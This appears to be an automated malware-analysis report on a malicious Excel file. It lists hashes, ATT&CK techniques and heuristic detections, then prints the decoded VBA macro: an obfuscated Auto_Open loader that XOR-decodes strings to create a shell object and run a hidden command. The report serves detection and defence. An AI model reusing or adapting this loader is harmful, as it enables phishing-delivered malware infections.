Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a88fa17c09323709…

MALICIOUS

Office (OLE)

71.0 KB Created: 2020-03-24 16:30:15 Authoring application: Microsoft Excel First seen: 2020-09-07
MD5: 89c45b7e04c45a90c0478bfa9bc63db1 SHA-1: 07d8dedc18afc6d078b28635f3572c5eaa2f99f2 SHA-256: a88fa17c0932370945006d4acfdb01b7c2340648be87d0e7f37c73d6110cfe67
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is an Excel document containing an Auto_Open VBA macro, which is a common technique for executing malicious code upon opening. The macro uses CreateObject and obfuscated strings to likely download and execute a second-stage payload. The document body explicitly prompts the user to 'Enable' Content, indicating a social engineering lure.

Heuristics 5

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2086 bytes
SHA-256: 2384685e7e09c7c869a6a89644e38ddb33d4f0440d449593f2b33fe1b3521dd0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AMJS"
Function qxa4(str As String) As Variant: Dim bytes() As Byte: bytes = str: qxa4 = bytes: End Function
Function msan(bytes() As Byte) As String: Dim str As String: str = bytes: msan = str: End Function

Function v9zafz26(str As String) As String
    Const p_ As String = "w42dvasy"
    Dim sb_() As Byte, pb_() As Byte
    sb_ = qxa4(str)
    pb_ = qxa4(p_)
    
    Dim uL As Long
    uL = UBound(sb_)
    
    ReDim scb_(0 To uL) As Byte
    
    Dim idx As Long
    
    For idx = LBound(sb_) To uL:
        If Not sb_(idx) = 0 Then
            c = sb_(idx)
            For i = 0 To UBound(pb_):
                c = c Xor pb_(i)
            Next i
            scb_(idx) = c
        End If
    
    Next idx
    
    v9zafz26 = msan(scb_)
End Function


Public Sub Auto_Open()
Set asd = CreateObject(v9zafz26(chr(95)) & v9zafz26(chr(91)) & v9zafz26("k" & "") & v9zafz26(chr(122) & "" & chr(97) & "x" & "|") & v9zafz26("&" & "") & v9zafz26(chr(91)) & v9zafz26("`" & "") & v9zafz26(chr(109) & "") & v9zafz26("d" & "" & "d"))
asd.Run v9zafz26("e" & "") & v9zafz26("{" & "" & chr(96)) & v9zafz26(chr(124) & "" & "i" & "(" & chr(96)) & v9zafz26("|") & v9zafz26("|") & v9zafz26("x") & v9zafz26("2" & "") & v9zafz26(chr(84) & "") & v9zafz26(chr(84) & "") & v9zafz26(chr(98) & "" & "&" & "") & v9zafz26("e" & "") & v9zafz26(chr(120) & "" & "'" & ":" & " " & chr(113) & "" & "<" & "" & "=" & chr(95) & "g" & "")
End Sub

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